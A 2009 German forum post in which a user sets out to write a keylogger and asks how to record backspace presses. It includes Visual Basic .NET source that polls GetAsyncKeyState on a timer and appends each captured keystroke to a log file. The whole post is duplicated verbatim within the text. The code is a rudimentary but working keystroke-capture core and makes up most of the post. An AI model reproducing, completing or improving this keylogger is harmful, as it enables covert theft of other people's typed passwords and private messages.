PCFX
09.08.2009, 15:54
Hi,
ich will mir einen Keylogger coden. Habe dazu das Sample von "ThePapst" verwendet. Nun will ich die "Löschen-Taste" (Taste über Enter) protokolieren. Es soll aber nicht einfach "Back" o.ä. in die Datei geschrieben werden sondern ich dachte mir das so:
Dim fs As New FileStream(Speicherort, FileMode.Open)
Dim sr As New StreamReader(fs)
Dim Buffer As String
Buffer = sr.ReadToEnd
sr.Close()
Buffer = Buffer.Substring(0, Buffer.Length - 1)
Somit wird immer das letzte Zeichen der Zeichenkette weg"geschnitten".
Meine Frage:
Aber wie kann ich das jetzt möglichst übersichtlich in meinen Code einbetten,
da ich ja den StreamWriter-Stream schließen und einen StreamReader-Stream öffnen und wieder schließen muss, um "Buffer" zu füllen. Anschließend muss ich meine Textdatei wieder öffnen und "Buffer" reinschreiben lassen.
Momentan sieht meine Source so aus:
Imports System.IO
Public Class Form1
Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal nVirtKey As Keys) As Short
Dim Speicherort As String = "C:\Users\PCFX\Desktop\log.txt"
Dim LoggDatei As New StreamWriter(Speicherort, True)
Dim Buffer As String
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Enabled = True
Timer1.Start()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If GetAsyncKeyState(Keys.A) = -32767 Then
LoggDatei.Write("a")
LoggDatei.Flush()
End If
'(usw.)
End Sub
ich will mir einen Keylogger coden. Habe dazu das Sample von "ThePapst" verwendet. Nun will ich die "Löschen-Taste" (Taste über Enter) protokolieren. Es soll aber nicht einfach "Back" o.ä. in die Datei geschrieben werden sondern ich dachte mir das so:
Dim fs As New FileStream(Speicherort, FileMode.Open)
Dim sr As New StreamReader(fs)
Dim Buffer As String
Buffer = sr.ReadToEnd
sr.Close()
Buffer = Buffer.Substring(0, Buffer.Length - 1)
Somit wird immer das letzte Zeichen der Zeichenkette weg"geschnitten".
Meine Frage:
Aber wie kann ich das jetzt möglichst übersichtlich in meinen Code einbetten,
da ich ja den StreamWriter-Stream schließen und einen StreamReader-Stream öffnen und wieder schließen muss, um "Buffer" zu füllen. Anschließend muss ich meine Textdatei wieder öffnen und "Buffer" reinschreiben lassen.
Momentan sieht meine Source so aus:
Imports System.IO
Public Class Form1
Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal nVirtKey As Keys) As Short
Dim Speicherort As String = "C:\Users\PCFX\Desktop\log.txt"
Dim LoggDatei As New StreamWriter(Speicherort, True)
Dim Buffer As String
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Enabled = True
Timer1.Start()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If GetAsyncKeyState(Keys.A) = -32767 Then
LoggDatei.Write("a")
LoggDatei.Flush()
End If
'(usw.)
End Sub